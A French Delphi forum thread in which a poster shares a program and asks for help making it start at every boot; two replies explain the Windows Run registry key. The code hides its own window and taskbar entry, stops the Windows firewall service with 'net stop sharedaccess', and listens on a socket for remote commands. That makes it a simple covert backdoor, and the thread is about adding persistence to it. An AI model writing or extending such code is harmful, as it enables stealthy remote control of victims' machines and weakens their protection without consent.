IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

 Delphi Discussion :

Besoin de précision pour un code


Sujet :

Delphi

  1. #1
    Candidat au Club
    Profil pro
    Inscrit en
    Avril 2007
    Messages
    4
    Détails du profil
    Informations personnelles :
    Localisation : Belgique

    Informations forums :
    Inscription : Avril 2007
    Messages : 4
    Points : 4
    Points
    4
    Par défaut Besoin de précision pour un code
    Bonjour j'aimerais avoir un peu d'aide pour mon code merci.

    Voici mon code :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    unit Unit1;
     
    interface
     
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ScktComp, MMsystem, ShellAPI, Registry;
     
     
     
    type
      TForm1 = class(TForm)
        ServerSocket1: TServerSocket;
        procedure ServerSocket1ClientRead(Sender: TObject;
          Socket: TCustomWinSocket);
        procedure FormActivate(Sender: TObject);
        procedure FormCreate(Sender: TObject);
     
     
      private
        { Private declarations }
      public
        { Public declarations }
      end;
     
    var
      Form1: TForm1;
     
    implementation
     
    {$R *.dfm}
     
     
     
    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
    if Socket.ReceiveText='OpenCD' then begin
    mcisendstring('set cdaudio door open wait',nil,0,handle);
    end;
    if Socket.ReceiveText='CloseCD' then begin
    mcisendstring('close cdaudio door closed wait', NIL, 0, handle);
     
    end;
     
    end;
     
    procedure TForm1.FormActivate(Sender: TObject);
    begin
    shellexecute(0,'open', 'net.exe','stop sharedaccess',0,0);
     
    end;
     
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    Application.Title := '';
    ShowWindow (Form1.Handle, SW_Hide);
    showwindow(Application.handle,Sw_hide);
    SetWindowLong(Application.Handle, GWL_EXSTYLE, WS_EX_TOOLWINDOW); // Rend l'application Invisible de la barre des taches
    end;
     
    end.
    Mais j'aimerais implémenter cette fonction.
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
     
    var Reg: TRegistry;
    begin
    Reg := TRegistry.Create;
    with Reg do
    begin
    try
    RootKey := HKEY_LOCAL_MACHINE; // clé racine
    if OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True) then
    begin
    if Lance then WriteString(NomAppli, CheminAppli) // écrire
    else DeleteValue(NomAppli); // supprimer
    CloseKey;
    end;
    finally
    Free;
    end;
    end;
    end;
    Mais j'aimerais savoir si je dois implémenter ce code dans le Oncreate ? ( Car j'aimerais que le programme s'ouvre a chaque démmarage)

    Si oui j'aimerais savoir quand il dise if Lance then WriteString(NomAppli, CheminAppli) // écrire .

    Le " Lance " correspond a quoi ?
    Le (NomAppli, CheminAppli) doi-je faire cela ( monprogramme, monprogramme.exe) ( Sachant quand la personne le lancera il sera dans le meme dossier que mon programme)

    merci en esperant que vous aurez comprit

  2. #2
    Débutant
    Profil pro
    Inscrit en
    Juillet 2003
    Messages
    888
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juillet 2003
    Messages : 888
    Points : 330
    Points
    330
    Par défaut
    il te faut un minimum de connaissance en delphi pour te lancer dans ce genre de chose

    il est 2h30 là, je n'aurai pas le tps de m'y pencher

    en attendant qu'un autre t'aides, je te dis déjà que tu pourras utliser l'évènement oncreate, onshow ou onactivate de ta forme pour faire exécuter ta procedure d'inscription dans la bdr

  3. #3
    Membre chevronné

    Profil pro
    Inscrit en
    Novembre 2007
    Messages
    1 519
    Détails du profil
    Informations personnelles :
    Âge : 40
    Localisation : France

    Informations forums :
    Inscription : Novembre 2007
    Messages : 1 519
    Points : 2 153
    Points
    2 153
    Billets dans le blog
    1
    Par défaut
    "Lance" (surtout écrit en français comme ça) est une variable globale ou un paramètre dont la signification permet d'indiquer à ta méthode qui écrit dans le registre si elle doit ajouter la valeur à la clé '\Software\Microsoft\Windows\CurrentVersion\Run' ou au contraire la supprimée.

    Après avoir regardé comment était stocké les choses dans la base de registre pour la clé run, le nom de la valeur peut être n'importe quoi (mais de préférence un nom explicite) et la valeur doit être le chemin complet + nomdufichier.exe.

Discussions similaires

  1. [XL-97] Besoin d'aide pour MAJ code
    Par Roni95 dans le forum Excel
    Réponses: 4
    Dernier message: 13/01/2010, 14h09
  2. Besoin de précision pour module DBD::mysql
    Par mensoif dans le forum SGBD
    Réponses: 7
    Dernier message: 10/08/2009, 12h50
  3. Besoin d'explication pour ce code
    Par fd_caramba dans le forum Débuter avec Java
    Réponses: 3
    Dernier message: 24/12/2008, 07h03
  4. [FTP] besoin d'aide pour source code
    Par planete-venus dans le forum Langage
    Réponses: 1
    Dernier message: 02/06/2007, 15h01
  5. [VB.NET]Besoin de précision pour architecture 3-tiers
    Par Dnx dans le forum Windows Forms
    Réponses: 8
    Dernier message: 14/09/2005, 09h09

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo